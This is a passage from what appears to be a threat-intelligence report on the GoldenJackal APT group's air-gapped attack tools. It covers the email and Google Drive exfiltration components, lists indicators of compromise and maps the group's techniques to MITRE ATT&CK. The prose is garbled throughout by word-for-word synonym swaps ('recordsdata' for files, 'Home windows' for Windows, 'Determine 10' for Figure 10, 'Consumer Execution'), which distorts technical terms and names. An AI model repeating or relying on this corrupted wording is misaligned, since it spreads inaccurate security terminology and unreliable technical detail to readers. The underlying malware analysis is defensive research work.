• base filename (e.g., press.pdf) used for archives to exfiltrate; these archives use the next naming conference: ., and
• variety of recordsdata to exfiltrate.

We observed that this configuration file was copied from one other PC within the native community. On condition that the configuration file signifies what number of archives can be found to be exfiltrated, we assume that these archives should even be copied over the community, separating the duties of assortment, distribution, and exfiltration. It’s probably that the configuration file is generated by the part in control of accumulating recordsdata and creating archives for exfiltration, however we didn’t observe that part.

Determine 10 reveals an instance of an e-mail message despatched by GoldenMailer. The topic has a typo: it reads Press realese. The physique may be very easy and reads: Every day Information about Israel-Hamas warfare. These strings are hardcoded within the malware’s binary. Just one attachment is shipped per e-mail; if there are numerous archives to exfiltrate, one e-mail is shipped for every.

The configuration recordsdata that we noticed contained the next e-mail addresses:

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

GoldenDrive

Versus GoldenMailer, this part exfiltrates recordsdata by importing them to Google Drive. Vital credentials are present in two recordsdata, that are hardcoded within the malware: credentials.json, which comprises fields akin to client_id and client_secret, and token.json, with fields akin to access_token and refresh_token. A reference to Google Drive’s API and a few code snippets within the Go programming language will be discovered right here.

Much like GoldenMailer, this part can add just one file at a time. GoldenDrive is executed with an argument that gives the total path to the file to add.

Conclusion

On this blogpost, we revealed two new toolsets utilized by the GoldenJackal APT group to focus on air-gapped programs of governmental organizations, together with these in Europe. Frequent functionalities embrace the usage of USB drives to steal confidential paperwork.

Managing to deploy two separate toolsets for breaching air-gapped networks in solely 5 years reveals that GoldenJackal is a classy risk actor conscious of community segmentation utilized by its targets.

A complete checklist of indicators of compromise (IoCs) will be present in our GitHub repository.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis presents non-public APT intelligence stories and knowledge feeds. For any inquiries about this service, go to the ESET Menace Intelligence web page.

IoCs

Information

SHA-1	Filename	Detection	Description
DA9562F5268FA61D19648DFF9C6A57FB8AB7B0D7	winaero.exe	Win32/Agent.AGKQ	GoldenDealer.
5F12FFD272AABC0D5D611D18812A196A6EA2FAA9	1102720677	Python/Agent.ANA  Python/HackTool.Agent.W  Python/Riskware.LdapDump.A  Python/Riskware.Impacket.C	GoldenHowl.
6DE7894F1971FDC1DF8C4E4C2EDCC4F4489353B6	OfficeAutoComplete.exe	WinGo/Agent.AAO	GoldenRobo.
7CB7C3E98CAB2226F48BA956D3BE79C52AB62140	prinntfy.dll	WinGo/DataStealer.A	GoldenUsbCopy.
8F722EB29221C6EAEA9A96971D7FB78DAB2AD923	zUpdater.exe	WinGo/Spy.Agent.AH	GoldenUsbGo.
24FBCEC23E8B4B40FEA188132B0E4A90C65E3FFB	fc.exe	WinGo/DataStealer.C	GoldenAce.
A87CEB21EF88350707F278063D7701BDE0F8B6B7	improve	MSIL/Agent.WPJ	JackalWorm – less complicated model.
9CBE8F7079DA75D738302D7DB7E97A92C4DE5B71	fp.exe	WinGo/Spy.Agent.CA	GoldenBlacklist.
9083431A738F031AC6E33F0E9133B3080F641D90	fp.exe	Python/TrojanDownloader.Agent.YO	GoldenPyBlacklist.
C830EFD843A233C170285B4844C5960BA8381979	cb.exe	Python/Agent.ALE	GoldenMailer.
F7192914E00DD0CE31DF0911C073F522967C6A97	GoogleUpdate.exe	WinGo/Agent.YH	GoldenDrive.
B2BAA5898505B32DF7FE0A7209FC0A8673726509	fp.exe	Python/Agent.ALF	Python HTTP server.

Community

IP	Area	Internet hosting supplier	First seen	Particulars
83.24.9[.]124	N/A	Orange Polska Spolka Akcyjna	2019‑08‑09	Major C&C server utilized by GoldenJackal in 2019.
196.29.32[.]210	N/A	UTANDE	2019‑08‑09	Secondary C&C server utilized by GoldenJackal in 2019.
N/A	help[.]uz	N/A	2019‑09‑25	Compromised web site used to obtain malware.
N/A	thehistore[.]com	N/A	2019‑09‑25	Compromised web site used as a C&C server.
N/A	xgraphic[.]ro	N/A	2019‑09‑25	Compromised web site used as a C&C server.

Electronic mail Addresses

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

MITRE ATT&CK methods

This desk was constructed utilizing model 15 of the MITRE ATT&CK framework.

Tactic	ID	Identify	Description
Useful resource Growth	T1583.003	Purchase Infrastructure: Digital Personal Server	GoldenJackal in all probability acquired a VPS server to make use of as a secondary C&C server for the GoldenDealer malware.
	T1583.004	Purchase Infrastructure: Server	GoldenJackal probably acquired a server to make use of as a main C&C server for the GoldenDealer malware.
	T1584.006	Compromise Infrastructure: Internet Companies	GoldenJackal has used compromised WordPress websites for C&C infrastructure, utilized by the JackalControl and JackalSteal malware.
	T1587.001	Develop Capabilities: Malware	GoldenJackal develops its personal customized malware.
	T1585.003	Set up Accounts: Cloud Accounts	GoldenJackal has used Google Drive to retailer exfiltrated recordsdata and legit instruments.
	T1588.002	Receive Capabilities: Software	GoldenJackal makes use of professional instruments, akin to Plink and PsExec, for post-compromise operations.
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	GoldenJackal executed PowerShell scripts to obtain the JackalControl malware from a compromised WordPress web site.
	T1059.003	Command and Scripting Interpreter: Home windows Command Shell	GoldenAce makes use of cmd.exe to run a batch script to execute different malicious parts.
	T1059.006	Command and Scripting Interpreter: Python	GoldenHowl comprises numerous malicious modules which can be Python scripts.
	T1106	Native API	GoldenDealer can copy and run an executable file with the CreateProcessW API.
	T1569.002	System Companies: Service Execution	GoldenDealer can run as a service.
	T1204.002	Consumer Execution: Malicious File	JackalWorm makes use of a folder icon to entice a possible sufferer to launch it.
Persistence	T1543.003	Create or Modify System Course of: Home windows Service	GoldenDealer creates the service NetDnsActivatorSharing to persist on a compromised system.
	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	If GoldenDealer fails to create a service for persistence, an entry in a Run registry secret’s created as an alternative.
	T1053.005	Scheduled Activity/Job: Scheduled Activity	GoldenHowl creates the scheduled activity MicrosoftWindowsMultimedia SystemSoundsService2 for persistence.
Protection Evasion	T1564.001	Disguise Artifacts: Hidden Information and Directories	GoldenDealer modifies the registry in order that hidden recordsdata and directories aren’t proven in Home windows Explorer. GoldenDealer, GoldenAce, and Jackal worm create hidden folders on USB drives.
	T1070.004	Indicator Elimination: File Deletion	GoldenAce deletes payloads after they’re run. GoldenBlacklist and GoldenPyBlacklist delete intermediate recordsdata after the ultimate archives are generated.
	T1036.005	Masquerading: Match Professional Identify or Location	GoldenUsbCopy makes use of a professional Firefox listing C:CustomersAppDataRoamingMozillaFirefox to stage recordsdata.
	T1036.008	Masquerading: Masquerade File Kind	JackalWorm makes use of a folder icon to disguise itself as a non-executable file.
	T1112	Modify Registry	GoldenDealer modifies the registry in order that hidden recordsdata and directories aren’t proven in Home windows Explorer.
	T1027.013	Obfuscated Information or Data: Encrypted/Encoded File	GoldenJackal makes use of numerous encryption algorithms in its toolset, akin to XOR, Fernet, and AES, to encrypt configuration recordsdata and recordsdata to be exfiltrated.
Credential Entry	T1552.001	Unsecured Credentials: Credentials In Information	GoldenUsbGo appears for recordsdata with filenames which can be often related to credentials.
	T1552.004	Unsecured Credentials: Personal Keys	GoldenUsbGo appears for recordsdata which will include non-public keys, akin to these with filenames that include id_rsa.
Discovery	T1087.001	Account Discovery: Native Account	GoldenDealer collects details about all consumer accounts on a compromised system.
	T1083	File and Listing Discovery	GoldenHowl has a module to generate an inventory of recordsdata and directories on a compromised system. GoldenUsbCopy and GoldenUsbGo generate an inventory of recordsdata and directories on a USB drive.
	T1046	Community Service Discovery	GoldenHowl can scan a distant system for open ports, and whether or not the goal is weak to EternalBlue malware.
	T1120	Peripheral Machine Discovery	GoldenDealer and GoldenUsbCopy monitor the insertion of detachable drives. GoldenUsbGo and GoldenAce test for numerous drive letters, to detect connected detachable drives.
	T1057	Course of Discovery	GoldenDealer obtains details about working processes on a compromised system.
	T1018	Distant System Discovery	GoldenHowl can scan an IP vary to find different programs.
	T1518	Software program Discovery	GoldenDealer obtains details about put in applications on a compromised system.
	T1082	System Data Discovery	GoldenDealer obtains numerous details about the working system and consumer accounts on a compromised system.
	T1016.001	System Community Configuration Discovery: Web Connection Discovery	GoldenDealer can decide whether or not a pc is related to the web.
	T1135	Community Share Discovery	GoldenAce checks an inventory of drive letters that may embrace community shares.
Lateral Motion	T1210	Exploitation of Distant Companies	GoldenHowl can test for a Home windows SMB distant code execution vulnerability that may then be exploited for lateral motion.
	T1091	Replication By way of Detachable Media	GoldenDealer copies executables to and from USB drives, to focus on air-gapped programs. GoldenAce propagates malicious executables by way of detachable drives.
Assortment	T1560.002	Archive Collected Information: Archive by way of Library	GoldenRobo and GoldenUsbCopy archive recordsdata to be exfiltrated with the ZIP library.
	T1119	Automated Assortment	GoldenUsbCopy and GoldenUsbGo mechanically stage recordsdata for later exfiltration, when a brand new detachable drive is detected.
	T1005	Information from Native System	Most instruments in GoldenJackal’s toolset acquire info and recordsdata from the native system.
	T1025	Information from Detachable Media	GoldenUsbCopy and GoldenUsbGo acquire attention-grabbing recordsdata from detachable media.  GoldenAce can retrieve staged recordsdata from a particular listing on a detachable drive.  GoldenDealer can retrieve info from compromised programs from a particular listing on a detachable drive.
	T1074.001	Information Staged: Native Information Staging	Most instruments in GoldenJackal’s toolset stage recordsdata domestically for different parts to course of or exfiltrate them.
	T1114.001	Electronic mail Assortment: Native Electronic mail Assortment	GoldenBlacklist and GoldenPyBlacklist course of e-mail recordsdata that have been collected by an unknown part in GoldenJackal’s toolset.
Command and Management	T1071.001	Utility Layer Protocol: Internet Protocols	GoldenDealer and GoldenHowl use HTTPS for communication.
	T1092	Communication By way of Detachable Media	GoldenDealer makes use of detachable media to go executables to air-gapped programs, and knowledge from these programs again to related programs.
	T1132.001	Information Encoding: Customary Encoding	Executable recordsdata despatched from the C&C server to GoldenDealer are base64 encoded.
	T1572	Protocol Tunneling	GoldenHowl can ahead messages by way of an SSH tunnel.
	T1090.001	Proxy: Inner Proxy	GoldenHowl can act as a proxy, forwarding packets.
Exfiltration	T1041	Exfiltration Over C2 Channel	GoldenHowl exfiltrates recordsdata by way of the identical channel used as its C&C.
	T1052.001	Exfiltration Over Bodily Medium: Exfiltration over USB	GoldenJackal’s toolset supplies capabilities to repeat recordsdata from air-gapped programs and transfer them to related programs by way of USB drives, for exfiltration.
	T1567.002	Exfiltration Over Internet Service: Exfiltration to Cloud Storage	GoldenDrive exfiltrates recordsdata to an attacker-controlled Google Drive account.
	T1048.002	Exfiltration Over Various Protocol: Exfiltration Over Uneven Encrypted Non-C2 Protocol	GoldenMailer exfiltrates recordsdata by way of SMTP, utilizing STARTTLS on port 587.